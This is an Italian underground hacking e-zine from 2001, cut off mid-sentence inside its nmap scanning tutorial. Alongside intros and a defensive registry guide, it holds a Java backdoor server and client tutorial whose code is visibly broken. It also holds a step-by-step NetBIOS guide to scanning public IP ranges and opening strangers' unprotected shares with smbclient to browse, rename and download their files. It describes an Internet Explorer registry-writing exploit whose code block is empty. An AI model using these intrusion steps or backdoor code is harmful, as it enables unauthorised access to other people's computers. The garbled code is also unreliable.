============================================== **************No Fly Zone Crew**************** ***************** E-Zine ********************* ***************** Vol. 2 ********************* ============================================== /X\ // \\ // \* // //| // / | // | / // | // /X\ // |/ // \\ // /| | // \* X // | | // //| |\\ // | |/ // | | \\ // /| // / | * // | // // /X\ \\ | // | // // // \\ \\|// // / // // \ X * // // // X\ |\\ // / // \\ | \\ // // // / \ | * // // //|\\ \\ \\ | // // X\ | \\ /* \\|// // \| \\ // | \ * /|\ /*\ * | |\\ // | \\ // | \\ | // /X | \\ // | * | \\|// // \\ \ * / \ | /| * \\ \\ | // \\|// |\\ \\ \\|// X | \\ \\ \\ \\ \\ \\ \\ \\ /-------------------- * // //| |\ // | | \\ ------------------| // \\ \\ \\ |/ \\ \\ \------------* \\ \\ \\ \\ \\ /* \\ \\ // | \\ * |/ \\| // +/ =============================================================================== -------------------------------[E-Zine No 2]----------------------------------- =============================================================================== Member of the NoFlyZone crew are: []LoRd[V]icio[],Crashes,[D]kl,CityHunter, goony,pex3,Quasar,[Evil],R|Ppy,BIGAlex, Capitanmidnight,Pregzt,[V]lad,anetrip =============================================================================== ------------------------------------------------------------------------------- ------------------------------[Menu Articoli]---------------------------------- ------------------------------------------------------------------------------- =============================================================================== ----------[INTRO]-------------------------------------------------------------- =============================================================================== 1.......Intro...................................by []LoRd[V]icio[] 2.......Intro N°2...............................by Crashes =============================================================================== ----------[Hacking]------------------------------------------------------------ =============================================================================== 3.......Javascript non del tutto innocuo........by BIGAlex 4.......Creare una backdoor #2..................by Crashes 5.......Tecniche di difesa "regedit"............by []Lord[V]icio[] 6.......Hacking del NetBios in Linux............by bartx 7.......Tecniche di scanning e NMAP.............by Pex3 8.......Varie cards "hacksat x newbie"..........by Capitanmidnight 9.......Come funzionano le backdoor.............by Pregtz 10......Sambar Server Batch CGI Vulnerability...by []Lord[V]icio[] =============================================================================== ----------[THEORY]------------------------------------------------------------- =============================================================================== 11......ICMP....................................by [V]lad 12......TCP/IP #2...............................by CityHunter 13......Le Interruzioni.........................by anetrip 14......Socket..................................by CityHunter =============================================================================== ----------[MISC]--------------------------------------------------------------- =============================================================================== 15......Configurare e usare Linux...............by Quasar 16......IPV6 in Win2k...........................by []Lord[V]icio[] 17......Guida a L.I.L.O.........................by Crashes 18......Siddharta, l'hacker.....................by CityHunter 19......Ricompilazione Kernel OpenBSD...........by goony 20......IPV6 in WinXP...........................by Crashes =============================================================================== ----------[News & Scritti da Voi]---------------------------------------------- =============================================================================== 21......DDoS (Distributed Denial of Service)....by fastfire 22......Come leggere e programmare le CARD ND*..by dpmika 23......Privacy On Line.........................by [D]kl 24......Backdoor con NetCat.....................by n3o 25......Greetings...............................by NoFlyZone Staff ------------------------------------------------------------------------------- Mode E-Zine on: Prima di tutto xò: =============================================================================== DISCLAIMER: Tutto il materiale pubblicato in questa zine è di pubblico dominio. A scopo educativo e di ricerca. Gli autori non si assumono alcuna responsabilità per l'uso di ciò che viene spiegato e di eventuali danni. Consigli x l'uso: accendere il cervello. =============================================================================== --------------------------------[INTRO]---------------------------------------- ---------------------------[[]LoRd[V]icio[]]----------------------------------- Eccoci giunti al secondo numero di qst rivista e tutto qst grazie a voi. Voi ke ci avete sostenuto e ci avete dato la vostra fiducia. Visto il successo riscontrato x l’uscita del primo numero, continueremo con piu’ voglia e passione a fare del nostro meglio x dare vita a qst nostro “sogno” ,in cui crediamo in moltissimi: conoscere ed approfondire il mondo underground. Cari amici , rinnovo ancora il mio GRAZIE a tutti voi. Aspettando l’uscita del 3° numero vi invito nuovamente a partecipare alla crescita d qst e-zine : aspetto numerosi i vostri commenti,suggerimenti,critike ed opinioni. Detto qst vi auguro una piacevole lettura. Alla prossima puntata ;) ---------------------------------*END*----------------------------------------- ------------------------------[INTRO N°2]-------------------------------------- -------------------------------[Crashes]--------------------------------------- Eccoci qui di nuovo il ke vuol dire ke la Ns prima uscita è andata + ke bene! Siamo ormai giunti al secondo numero della e-zine e pure sotto il periodo natalizio, eheheh, questo dimostra ke nn ci fermiamo mai, sempre in moto per riuscire ad accontentare tutte quelle persone ci sostengono. Un grazie speciale a tutti voi... Come avrete già notato, il sito è in perenne sviluppo, nuova veste grafica di continuo, stiamo sperimentando, tra un pò avremo l'ultima release. Come il primo anke questo numero tratterà vari argomenti ke riguardano l'underground della rete: hacking, theory,le misc e una nuova sezione, quella delle news e gli "scritti da voi"(articoli scritti non da membri della crew ma da persone che ci hanno spedito il loro tutz) Comunque tutto il materiale scritto, ke troverete di seguito e solo a scopo creativo :)), quindi nn ormonizzatevi eheheh, per qualsiasi critika, lamentela, o complimento ke cmq è sempre ben accetto "irc.azzurra.org" grazie e ciao!! ------------------------------------*END*-------------------------------------- =============================================================================== ------------------------------------------------------------------------------- ----------------------------------[HACKING]------------------------------------ ------------------------------------------------------------------------------- =============================================================================== -------------------------------------[3]--------------------------------------- ----------------------------------[BIGAlex]------------------------------------ -----------------------[JavaScript non del tutto innocuo]---------------------- ----==[ Javascript che scrive ovunque nel registro! ]==---- Cercando qualche exploit lato client ho recentemente scoperto che esiste una clamorosa falla in internet explorer: del codice javascript permette infatti di scrivere pressocchè ovunque nel registro di configurazione da internet. Il tutto con una semplice pagina HTML 'innocua'. Il codice (tra l'altro particolarmente breve), consente appunto di scrivere quel che si voglia nel registro. Inserisco qua il codice: ------------------------=========[ CUT HERE!!! ]=========------------------------ ------------------------=========[ CUT HERE!!! ]=========------------------------ Aggiungendo questo codice, è possibile infatti scrivere nel registro alla seguente chiave HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\SearchList il valore 'roots-servers.net' ed alla chiave HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\EnableDns il valore '1'. Credo sia abbastanza chiaro il funzionamento dell'exploit: basta che davanti mettiate HKLM -> h key local machine o cmq la sigla delle keys e poi successivamente l'indirizzo dove però ansicchè '\' devono essere inseriti '\\'. Interessante heh? ;D ----==[ Disclaimer ]==---- Questo codice è stato scritto per scopi puramente informativi: la patch per il problema la si può trovare qui: http://www.securiteam.com/windowsntfocus/6G00M0K02G.html Non vi divertite troppo con sta roba! :) ----==[ Saluti ]==---- Un paio di saluti ad #hack, i tankcommandos shisha ed elektro :) byezz a tutti! -- BiGAlex E-Mail: totalmeltdown@libero.it SiTE: bigalex.cjb.net ------------------------------------*END*-------------------------------------- -------------------------------------[4]--------------------------------------- ----------------------------------[Crashes]------------------------------------ ----------------------------[Creare una backdoor #2]--------------------------- ///////////////// CRASHES ///////////////// ************************** DA UNA PICCOLA IDEA UN GRANDE RISULTATO (2) ************************** ////////////////////////////////////////////////////// Ok, ok, lo so..avete aspettato molto per la seconda parte..ma nn ho avuto molto tempo questi giorni, quindi...il tempo di mettere un CD, e cominciamo anke xkè siete rimasti, con un listato ke anke se compilato nn funza... allora..vi illustro solo un secondo come sarà suddiviso il tutozz: la prima parte implementerà il server ke abbiamo già scritto l'ultima volta e poi passeremo a un client. L'ultima volta avete compilato il prg, ma nn è servito a molto! Se nn altro però vi è servito a capire come può essere strutturato...ora passiamo alle cose serie implementando quello ke già abbiamo scritto e facciamolo lavorare. --------------------------------------++++++++------------------------------------ public class DoNothing { { // implemnetiamo il server BackDoorServer_test_=new BackDoorServer() //xkè dobbiamo ricordarci ke come default "ascoltiamo" sulla porta 2323 :) } catch (Throwable t) } //OK salvate e compilate...ora il server sarà in ascolto sulla porta 2323 della vostra postazione...passiamo ora al client Oddio...no no, nn fate così..nn è molto lungo e poi è veramente una cazzata, statemi dietro xò a un paio di metri nn vi conosco, nn vorrei fare la fine di "tranquillo".. :)) // Partiamo import java.io.OutputStream; import java.net.Socket; public Class BackDoorClient { // la riga di comando sarà:BackDoorClient // ricordatevi di separare il PluginLocation con * e nn con la / come fanno molti..procediamo public static Void Main (String Xar[]) { try { String server=Xar[0]; in port=(newInteger(Xar[1])).IntValue(); String command=Xar[2]; // queste sono le principali linee di comando // Adesso facciamo in modo di conneterci al server SocketclientSocket=new Socket("server port"); //nel caso 2323 OutPutStream out=clientSocket.getOutPutStream(); out.writ(command.getBytes()) // siamo in comunicazione con il server // kiudiamo tutto out close(); clientSocket.close(); catch (Throwable t) { tprintStackTrace(); } // stampiamo gli errori --------------------------------------+++++++++------------------------------- OK salviamo il client, sempre come volete il nome è Vs piacimento e compilatelo, il client è fatto!!! Cosa Manca ora..... :))) scusate se rido ma la storia è sempre quella: il PlugIn ke poi è la cosa + importante..ma se ve lo scrivevo subito..il gioco era fatto...invece dovrete aspettare il prox tutozz sul PLug IN ke arriverà presto... SALUTI: alla crew, al chan #NoFlyZone #Warez-Planet in particolare a /\ LordVicio /\/\LoNeWoLfDeN /\/\ /\/\Cristian84 /\/\ DArklines /\/\ BigaLex /\ /\ Marsio /\/\ [D]kl /\/\ Lord_Ark /\/\ ********** www.noflyzone-crew.cjb.net ********** ********** irc: irc.azzurra.it 6667 #NoFlyZone ********** ****** irc: irc.arkshrine.serveirc.com 6667 #NoflyZone #FuoriDiTesta ****** _______________________________________ [ ] [ Copyright (C) 2001 ] [ ] [ Crashes - rocket@freemail.it ] [_____________________________________] ------------------------------------*END*-------------------------------------- -------------------------------------[5]--------------------------------------- -----------------------------[ []Lord[V]icio[] ]------------------------------- ------------------------[Tecniche di difesa "regedit"]------------------------- .......::[[[](LoRd[V]icio)[]]]::....... Per difendersi dai rischi basta poco: soprattutto conoscenza, alcuni programmi e una buona configurazione del pc. La maggior parte dei programmi sono freeware o forniti da windows, ma la cosa più importante è la configurazione del registro di windows e le porte.Ci sono varie possibilità di difesa.Impedire a un lamah di penetrare nel nostro pc è un nostro diritto legittimo.La migliore soluzione è usare software e limitatevi a difendervi ed evitate assolutamente di contrattaccare diventanto anche voi dei lamah. Fornitevi di : un buon antivirus , un buon firewall ed un minima conoscenza del registro di windows. Vi consiglio come anti-virus uno soprattutto adatto alla segnalazione di trojan come il grande e insuperabile "the cleaner" scaricabilissimo nella sezione download del mio sito web www.vicio84.3000.it SpAm!!! :). "NON BASTA ELIMINARE IL SERVER X AVERE LA SICUREZZA DI NON ESSERE INFETTI,CONTROLLARE SEMPRE IL REGISTRO DI WINDOWS" Cosa sono i firewall????? I firewall sono dei programmi che segnalano l'intrusione di utenti nel vostro pc, grazie al controllo delle porte + usate dai lamerozziiiiii.Vi consiglio il CheckBo lo troverete al solito posto :)). X IMPARARE A CONTROLLARE IL REGISTRO DI WINDOWS APRITEVI GLI OCCHI E LEGGETE ATTENTAMENTE.. Registro di windows Il registro è la base del sitema operativo e di tutto quello che funziona sul nostro pc, dagli applicativi ai driver per l'hardware. E' in pratica il pilastro del pc, e qui che ci sono le configurazioni, i codici e le chiavi per il funzionamento del sistema. ***ATTENZIONE******************************************************** Gli interventi sul registro sono una cosa delicata, dovrebbero essere fatte da persone esperte, un errore o modifiche fatte in modo irresponsabile possono causare il blocco del pc e la perdita dei dati. Pertanto tutte le modifiche che effettuerete sono a vostro rischio e pericolo.Non incolpate me dei vosti errori ..... :D Vi raccomando vivamente di effettuare una copia prima di intervenire sul registro, la copia del registro garantisce che in caso di errore si possa ripristinare lo stato precedente. Ma questo vale solo per i software applicativi o i driver, per il sistema operativo se le modifiche compromettono in modo grave il suo funzionamento, probabilmente non potremo utilizzare la copia per il ripristino. _______________________________________________________________________ Per aprire il registro, andare su START e poi ESEGUI scrivere REGEDIT e dare l'ok. Si aprira una finestra. Per prima cosa effettueremo una copia. In Registro di sistema selezionare Esporta file del Registro di sistema e selezioneremo la destinazione del file, per le sue dimensioni di vari mb non si può fare sui floppy, e se si dispone di un secondo disco si consiglia di farlo su questo. La copia del registro dovrebbe essere una regola anche prima di installare nuovi software o driver, cosi in caso di problemi possiamo sempre ripristinare lo stato precedente. Effettuata la copia di sicurezza, ci mettiamo al lavoro, la prima cosa da fare è vedere se ci sono trojani in esecuzione. Andate nella chiave HKEY_LOCAL_MACHINE e poi SOFTWARE / MICROSOFT / WINDOWS / CURRENT VERSION e qui dovrete guardare le voci RUN soprattutto RUN SERVICE, in queste chiavi ci sono i programmi che girano in background, se trovate una chiave tipo c:\windows\patch.exe oppure server.exe allora vuol dire che siete stati infettati da un trojano e più precisamente netbus. Cancellate la chiave, però prima di farlo segnatevi dove punta, e cioè a quale file, poi cancellerete anche quello sul disco fisso. ***ATTENZIONE*** i server dei trojani possono essere rinominati, per cui potrebbe chiamarsi anche window.exe o altri nomi di fantasia fatti apposta per ingannarvi. Comunque esaminate attentamente tutte le chiavi e i file a cui puntano, se qualcuno vi sembra sospetto oppure è un file che siete sicuri che non appartenga ai vostri programmi abituali, cancellatelo o in alternativa falsificatelo (per essere sicuri che non si riveli poi un file utile), è cioè procedete in questo modo: Ritorniamo alla chiave c:\windows\patch.exe se noi vogliamo impedire che ad ogni avvio del pc quel file sia lanciato, basta cambiare il percorso o la dir, e se noi inseriamo al posto di c la z per esempio, la chiave cercherà il file su un disco che non esiste, e non trovandolo non andra in esecuzione, al massimo vi avvertirà di non aver trovato il file. In questo modo se poi ci rendiamo conto che quella chiave serviva a qualche nostro programma, basterà ricambiare la z con c e tutto torna normale. Lo stesso si può fare con le directory e cioè nella chiave inseriamo una directory inesistente tipo c:\pippo\windows\patch.exe in questo modo il file non andrà in esecuzione. Nn fatevi + fottere mi raccomando se nn avete kiaro qualke passaggio sapete dove trovarmi Carcere San Vittore braccio 3 cella 2 ... ihihihihih SALUTI:alla crew,al chan #noflyzone,ai chan #lordspirit #winadmin #hack ....in particolare a LoNeWoLfDeN,Crashes,Cristian84,DArklines. FUCK:tutti i lamah,alla mia ex,a lordsabotatore al re dei lamah alexmessomalex e a tutta quelli ke fanno le stanze hack in c6 ihhihi www.vicio84.3000.it www.noflyzone-crew.cjb.net dove trovarmi: c6: vicio84 o lordvicio irc: irc.azzurra.it 6667 #NoFlyZone nick []LoRd[V]icio[] _______________________________________ [ ] [ Copyright (C) 2001 ] [ ] [ []LoRd[V]icio[] - vicio84@inwind.it ] [ _______________________________________ ] ------------------------------------*END*-------------------------------------- -------------------------------------[6]--------------------------------------- -----------------------------------[bartx]------------------------------------- -------------------------[Hacking del NetBios in Linux]------------------------ Il netbios è il primo tipo di tecnica che ho imparato a sfruttare per entrare nei pc. Nonostante sia stato molto utile, con il passaggio a macchine unix, con la scoperta degli exploit e con l'accrescere di impegni e alla stesso tempo di conoscenze, finii presto per abbandonare questa tecnica. Nei primi tempi in cui passai a linux, avevo il desiderio di imparare ad usare questo protocollo (netbios) anche da linux ma non trovando guide specifiche sull'hacking del netbios ho dovuto accontentarmi del man del samba. Scrivo questo articolo per facilitare l'apprendimento del suddetto protocollo tuttavia limitandomi a descrivere le azioni pratiche. Il samba è un protocollo analogo al netbios, solo che è, per l'appunto, presente su piattaforme unix. Il samba nacque soprattutto con lo scopo di unificare la condivisione di risorse tra macchine microsoft e macchine unix. Ora parliamo dell'occorrente. Vi servono: samba client, presente in qualsiasi distribuzione, probabilmente cel'avete già installato. nbtscan, il legion per linux. Molto configurabile ed utile, serve per cercare i pc netbiossati. Prima di tutto assicuratevi di avere installato il client samba, digitando da shell smbclient. Nel caso non sia installato, avrete come risposta che il comando non è stato trovato, altrimenti, vi scorrerà d'avanti agli occhi il man del comando. Dopo ciò, cercate in rete nbtscan (provate su http://freshmeat.net) e installatelo nel seguente modo: tar xzvf nbtscan x.x.x-tar.gz ./configure make make install Ora digitate nbtscan e vi apparirà il man. Inutile dire che sarebbe interessante consultarlo. Cmq, l'unica opzione che ci interessa è -t, cioè il timeout. Questo è impostato di defoult a 1, che è unvalore trobbo basso per internet. Per alzare questo valore a 10 secondi dovremmo digitare nbtscan con l'opzione -t 10. Non ci rtesta che decidere il rage di ip da scannerizzare e dare il comando in questo modo: nbtscan -t 10 xxx.xxx.xx.xxx-yyy in questo modo il programma scannerà gli ip da xxx.xxx.xx.xxx a xxx.xxx.xx.yyy esponendoci una tabella simile a questa: IP address NetBIOS Name Server User MAC address ------------------------------------------------------------------------ XXX.XXX.XX.XXX NOME_PC UTENTE xx-xx-xx-xx-xx-xx XXX.XXX.XX.XXX NOME_PC UTENTE xx-xx-xx-xx-xx-xx A questo punto non ci resta che inaugurare il nostro samba client e vedere le risorse condivise dei pc in questo modo: smbclient -I xxx.xxx.xx.xxx -L \\NOME_PC per ricevere una risposta simile a questa: Sharename Type Comment DISCO_C disk HP610 printer Analizzando la tabella, risulta chiaro che il pc in questione ha uh hard disk condiviso con il nome di DISCO_C. Per accedervi digitate: smbclient \\\\NOME_PC\\DISCO_C -I xxx.xxx.xx.xxx e alla richiesta di password battete invio. Se le risorse condivise non sono protette da password dovrebbe apparirvi una cosa del genere: smb> Se digitate help vi apparirà la lista deoi comandi disponibili, in ogni caso ecco i + importanti: dir: elenca i file della directori in cui vi trovate cd: permette di entrare in una directori. Es: cd windows entra nella directori windows. rename: rinomina un file. Uso: rename nome_file nuovo_nome get: scarica un file. Es. get nome_file exit: chiude la connessione. Con questo è tutto, non fate danni, ne lamerate, e ricordate che, se la libertà di informazione è un diritto, il furto di informazioni è considerato un reato grave. Dopo aver finito il mio articolo quotidiano, vi saluto, e ne approfitto per ringraziare Dark-Angel per tutte le dritte che mi ha dato fin'ora. Un saluto particolare a tutto lo staff della hackzxtreme crew, in primis a Master Shadow e Netphantom. bartx ------------------------------------*END*-------------------------------------- -------------------------------------[7]--------------------------------------- -----------------------------------[Pex3]-------------------------------------- -------------------------[Tecniche di Scanning e NMAP]------------------------- ** ** ** * ** ** * * ** ** * ** ** ****** ****** ** ** ****** ** ** ** ** **** ** ****** **** ** **** *** *** **** *** ** ** ****** ** ** ****** ** ** +------------+ ** ** * |Presents... | ** ** * * +------------+ ** ** * http://www.pex3.com/ ** _______________________________________ | | | Tutorial About: Scanning & Nmap usage | | 1.2 | |_______________________________________| -=]Autore: pex3 =]E-mail: pex3@libero.it =]Sito: http://www.pex3.com/ =]IRC: irc.azzurranet.org:6667 #NOFLYZONE -=]Dedicated to: Charlie -=]Text License: GNU GENERAL PUBLIC LICENSE Version 2 -=]Musica ascoltata: =]Gigi D'Agostino feat. E. Bennato-Un Giorno Credi (loop continuato per tutto il pomeriggio :) =]Radio DeeJay -=]Radio Studio + ...insomma: avete capito il genere? :) -=]Intro: Sicuramente la prima cosa che un cracker (o un kiddie) fa quando intende attaccare un sistema e' un port scanning per vedere cosa sta eseguendo il sistema e a quali ben note vulnerabilita' sara' soggetto. Anche gli amministratori di sistema effettuate le scansioni per le stesse ragioni ma con l'obiettivo di renderli meno vulnerabili e di evitare le irruzioni. Questa e' una fortuna: mentre resta illegale fare scansioni su sistemi altrui rimane sempre lecito e legittimo produrre, scambiare e illustrare il funzionamento di tool di scansione. In questo articolo spieghero' i vari tipi di scansione che si possono effettuare e come attuarli utilizzando nmap, il piu' famoso dei port-scanner. All'interno dell'articolo citerò i listati 1, 2, 3 e 4: sono riportati in coda per agevolarne il ritrovamento anche in un secondo momento. -=]Nmap: nmap e' cosi utile che e' stato incluso nella maggior parte delle distribuzioni Linux e ovviamente e' rigorosamente opensource. La maggior parte degli utenti Linux, installa nmap con il package manager del sistema (ad esempio RPM, dselect, YAST) e i media di installazione preferiti del sistema operativo (CD-ROM, FTP, ecc...). Se volete la versione piu' recente di nmap e/o il suo codice sorgente, potete trovarli sul sito http://www.insecure.org/ (il sito web di Fyodor) nei formati RPM e TGZ. Se volete compilare nmap dal codice sorgente, dovete semplicemente scaricare ed espandere il tarball e poi inserire i seguenti comandi (io ho la v2.53, ma quando leggete l'articolo potrebbe essere gia' obsoleta, scrivete voi il numero giusto) : cd nmap -2.53 ./configure make make install -=]I tipi di scansione: La premessa fondamentale alla scansione delle porte e' molto semplice: se cercate di connettervi a una data porta, potete stabilire se quella porta e' chiusa/inattiva o se un'applicazione (cioe' server web, FTP, daemon, ecc.) stia accettando connessioni. E' facile scrivere un port scanner semplice che utilizzi la chiamata connect() del sistema locale alle connessioni TCP su varie porte; con i moduli giusti, e' possibile effettuare questa operazione anche con PerI o php (a riguardo si vada alla url: http://www.pex3.com/scan.php ,si possono effettuare scansioni, ma il processo di scansione e' piuttosto lento). Esistono due tipi di scansione di sistema: le scansioni delle porte che cercano le porte TCP e UDP per vedere i tipi di servizi e le scansioni di sicurezza che vanno un po' piu' avanti e sondano i servizi identificati per conoscerne le debolezze. Effettuare una scansione delle porte e' come contare le porte e le finestre di una casa mentre l'esecuzione di una scansione di sicurezza si avvicina molto alla verifica dei sensori di allarme delle finestre di un'abitazione. Ping sweeps puo' essere considerato un terzo tipo di scansione che identifica quali IP sono attivi in un dato intervallo o rete (cioe' quali host rispondono al pinging). In ogni caso, questo e' il metodo piu' invadente e palese per effettuare una scansione e tende a dare come risultato varie voci di log sul sistema di destinazione. nmap di Fyodor, se volete, puo' effettuare semplicemente le scansioni di connect(), ma il suo punto di forza e' lo "stealth scanning" che implica l'utilizzo di pacchetti TCP ersatz studiati per innescare una risposta da ogni sistema di destinazione senza effettivamente completare una connessione TCP e spesso senza essere loggati dal sistema stesso. nmap supporta non uno ma quattro diversi tipi di stealth scan oltre a TCP Connect, UDP, RPC e ping sweeps e perfino il fingerprinting del sistema operativo. Vanta inoltre un numero di caratteristiche quali le scansioni FTP-bounce, ACK e Windows firewall, piu' utili agli script kiddie che agli amministratori di sistema. In breve, nmap e' il port scanner piu' ricco e versatile attualmente sul mercato. Presentiamo qui di seguito un riepilogo dei piu' importanti tipi di scansione che nmap e' in grado di effettuare: TCP Connect Scan utilizza la chiamata di sistema connect() del sistema operativo per tentare un handshake a tre vie completo (SYN, ACK-SYN, ACK) su ogni porta sondata. La mancata connessione (cioe' se il server risponde al vostro pacchetto SYN con un pacchetto ACK-RST), indica che la porta e' chiusa. Non richiede privilegi root ed e' uno dei metodi di scansione piu' veloci. Non e' comunque sorprendente notare che la maggior parte della applicazioni del server registrera' connessioni che vengono chiuse subito dopo l'apertura, si tratta quindi di una scansione un po' vistosa. TCP SYN Scan e' due terzi di una scansione TCP Connect; se la destinazione restituisce un pacchetto ACK-SYN, nmap invia immediatamente un pacchetto RST anziche completare I'handshake con un pacchetto ACK. Le connessioni "semiaperte" come queste, probabilmente non verranno registrate, quindi la scansione SYN e' molto meno percettibile rispetto a quella di tipo TCP Connect. Dato che e' lo stesso nmap a costruire i pacchetti anziche il kernel, per eseguirlo in questa modalita' bisognana essere utenti root. TCP FIN Scan anziche' supporre di iniziare una connessione standard TCP, nmap invia un solo pacchetto FIN (finaIe). Se 10 stack TCP/IP di destinazione e' RFC-793 compatibile (MS-anything, HP-UX, IRIX, MVS, Cisco IOS non lo sono) le porte aperte faranno cadere il pacchetto e quelle chiuse invieranno un RST. TCP NULL Scan e' simile a FIN scan ma invia un pacchetto TCP-flagless (cioe' un pacchetto nullo). Anche NULL scan dipende dal comportamento RFC-793 compatibile descritto sopra. TCP Xmas Tree Scan e' simile a FIN ma invia un pacchetto con gli indicatori FIN, PSH e URG (rispettivamente finale, aggiungi dati e urgente) impostati. Anche Xmas Tree scan dipende dal comportamento RFC- 793 compatibile descritto sopra. UDP Scan UDP e' un protocollo senza connessione, cioe' non vi e' alcuna relazione di protocollo definita tra i pacchetti in nessuna direzione e, a differenza delle scansioni TCP descritte sopra, non ha alcun handshake con il quale collaborare. In ogni caso, la maggior parte degli stack TCP/IP dei sistemi operativi restituira' un pacchetto ICMP "porta non raggiungibile" se viene inviato un pacchetto UDP a una porta UDP chiusa. Quindi, una porta che non restituisce un pacchetto ICMP puo' essere considerata aperta. Poiche non e' garantito ne l'arrivo dei probe packet ne dell'eventuale pacchetto ICMP (ricordiamo che UDP e ICMP non hanno connessione) nmap inviera' vari pacchetti UDP per ogni porta UDP sondata al fine di ridurre i falsi positivi. Dalla mia esperienza, ho constatato che la precisione di scansione di UDP varia secondo i sistemi operativi di destinazione ma e' meglio che niente. RPC Scan e' utilizzato i'nsieme ad altri tipi di scansione; questa caratteristica fara' in modo che nmap cerchi di stabilire quali tra le porte identificate come aperte abbia i servizi RPC (remote procedure call), quali sono questi servizi e i numeri di versione. Ping Scan (Sweep) vedere la sezione "Tipi di scansione e loro utilizzo" ri-portata sopra. Da questa lista ho tralasciato le scansioni ACK e Window (se siete interessati, potete trovarle sulla pagina man nmap(1)). nmap ha un'altra caratteristica molto utile che e' il fingerprinting del sistema operativo. In base alle caratteristiche delle risposte di destinazione ai vari pacchetti che nmps invia, esso e' in grado di intuire quale sistema operativo e' in esecuzione su ogni host di destinazione. -=]Utilizzare nmap: Esistono due modi per utilizzare nmap, il modo migliore e' tramite il prompt del comando. Esiste anche una GUI chiamata nmapfe che costruisce ed esegue l'nmap per voi. Questa GUI e' utile per le scansioni un po' approssimative o come aiuto per apprendere la sintassi della riga di comando di nmap. I comandi di nmap sono facili da imparare. La sintassi di base per le scansioni di tipo semplice e' la seguente: nmap -s (tipo di scansione) -p (opzioni intervallo porte) (destinazione). L'indicatore -s e' seguito immediatamente da uno dei seguenti tipi di scansione: T: TCP Connect Scan S: TCP SYN Scan F: TCP FIN Scan N: TCP NULL Scan X: TCP Xmas Tree Scan U: UDP Scan (puo' essere unito a un tipo di scansione sopraccitato) R: RPC Scan (puo' essere unito a un tipo di scansione sopraccitato) -sTSR, comunque fallirebbe L 'indicatore -s, che indica quale tipo o tipi di scansione eseguire, puo' essere seguito da uno qualsiasi dei tipi di scansione TCP, U per scansione UDP e R per la scansione/identificazione RPC o qualsiasi altra combinazione di questi tre gruppi di indicatori. In una data sessione, puo' essere indicato solo un tipo di scansione TCP. Se i' indicatore -s viene omesso, il tipo di scansione predefinito e' TCP Connect. Ad esempio, -sSUR dice a nmap di effettuare una scansione SYN, una scansione UDP e infine una scansione/identificazione RPC sulla(e) destinazione(i) specificata(e). -sSTR comunque fallirebbe dato che TCP Connect (lettera T) e TCP SYN (lettera S) sono entrambe scansioni TCP. Se indicate un intervallo di porte utilizzando l'indicatore -p, potete combinare virgole e trattini per creare un gruppo specifico di porte sulle quali effettuare la scansione. Ad esempio, digitando -p 20-23,80,53,600-1024 dite a nmap di effettuare la scansione dalla porta 20 alla 23 e delle porte 80, 53 e dalla 600 alla 1024. Non inserite spazi negli intervalli di porte. L'espressione di "destinazione" puo' anche essere un nome host, un indirizzo host IP, un indirizzo di rete IP o un intervallo di indirizzi IP. Digitando ad esempio 192.168.17* I'espressione di destinazione viene estesa a tutti i 255 indirizzi IP nella rete -192.168.17.0/24 (potete invece utilizzare 192.168.17.0/24); 10.13.[1,2,4].* in questo caso l'espressione di destinazione si estende a 10.13.1.0/24, 10.13.2.0/24 e a 10.13.4.0/24. Come potete vedere, nmap e' molto flessibile in quanto e' in grado di capire diversi tipi di espressioni di destinazione. -=]Alcuni esempi di scansione: Prima di continuare, analizziamo alcune tra le scansioni principali utilizzate dagli indicatori che abbiamo descritto finora. Negli esempi di questa sezione, e' stata utilizzata la versione di nmap 2.53 (la piu' attuale al momento della scrittura di questo articolo) in esecuzione su SlackWare 8.0. Il sistema di destinazione di questi esempi esegue Windows98 con il server web Sambar installato e attivo. In questo primo esempio di scansione, supponiamo di voler far eseguire a nmap una scansione "all default". Non siamo obbligati a fornire indicatori, possiamo dare semplicemente un IP di destinazione o un'espressione IP, nmap effettuera' il ping su ogni host di destinazione e ne eseguira' la scansione con il metodo TCP Connect sulle porte (destinazione) 0-1024 e su tutte le altre elencate in /usr/share/nmap/nmap-services (il vostro percorso per arrivare a questo file potrebbe essere diverso), per un totale di 1.523 porte TCP. Il listato 1 mostra come appare una scansione all-default di questo tipo in esecuzione su un sistema Windows98. Per interrogare 1523 porte, ci vogliono solo 2 secondi. Nel nostro secondo esempio di scansione, supponiamo di voler aggiungere UDP e, di voler vedere, durante la scansione, se tutte le porte aperte che troviamo stanno eseguendo applicazioni RPC. Dato che vogliamo aggiungere UDP alla scansione delle porte e non eseguirla al posto di TCP Connect, dobbiamo dirlo esplicitamente. Il comando e I'input relativo saranno simili a quanto riportato nel Listato 2. Le scansioni -sU ed -sR (unite in -sTUR) funzionano molto bene insieme: RPC e' un protocollo UDP intensivo. quando nmap trova un servizio RPC su una porta aperta, vi appone il nome dell'applicazione RPC tra parentesi con il numero della versione. Supponiamo di essere alla ricerca di qualcosa di un po' piu' specifico. Questo potrebbe avvenire perche' abbiamo idea di cosa stia eseguendo I' host e/o vogliamo minimizzare i tempi di scansione. Per indicare quali porte vogliamo vedere, apponiamo l'indicatore -p a una lista di porte. In questa lista possiamo utilizzare virgole e trattini ma non spazi bianchi. Il Listato 3 ci mostra una scansione nella quale controlliamo tutte le porte privilegiate ( 1-1024 ) e qualche porta che ci preoccupa, in particolare TCP 12345 e 12346 (le porte predefinite di Netbus) e I'UDP 31337 (quella predefinita di BackOrifice). Infine, dato che e' cosi' facile, effettuiamo una scansione su host multipli. L 'espressione host che nmap accetta e' anche piu' flessibile rispetto a quella della porta: e' possibile utilizzare caratteri jolly, parentesi quadre (per le liste) e notazioni "slash/subnet-bits". Ecco come dovrebbe apparire il comando per effettuare la scansione riportata nel Listato 3 sulla mia rete di collaudo (254 indirizzi e output omessi): nmap -sTU -p 1-1024, 12345, 12346, 31336, 10.13.13.0/24 Ora supponiamo che siate amministratori di una grossa rete e che qualcuno installi un server nella vostra sala macchine che sembra essere raggiungibile da Internet violando la policy di sicurezza aziendale. Prima di protestare volete scoprire tutto quanto possibile sui rischi ai quali e' stata esposta la vostra rete. Il server ha un indirizzo IP e alcune opzioni nmap vi aiuteranno a scoprire cosa sta succedendo. Prima di tutto quale sistema operativo esegue questo server? Il fingerprinting del sistema operativo chiamato dall'indicatore -O e' in grado di dirvelo. Quando utilizzate -0, nmap invia pacchetti con varie opzioni TCP impostate e confronta le risposte che riceve con il suo database del fingerprinting del sistema operativo (sulla mia SlackWare 8.0 si trova in /usr/share/nmap/nmap/nmap-os-fingerprints). In base alla mia esperienza, devo dire che questa caratteristica funziona 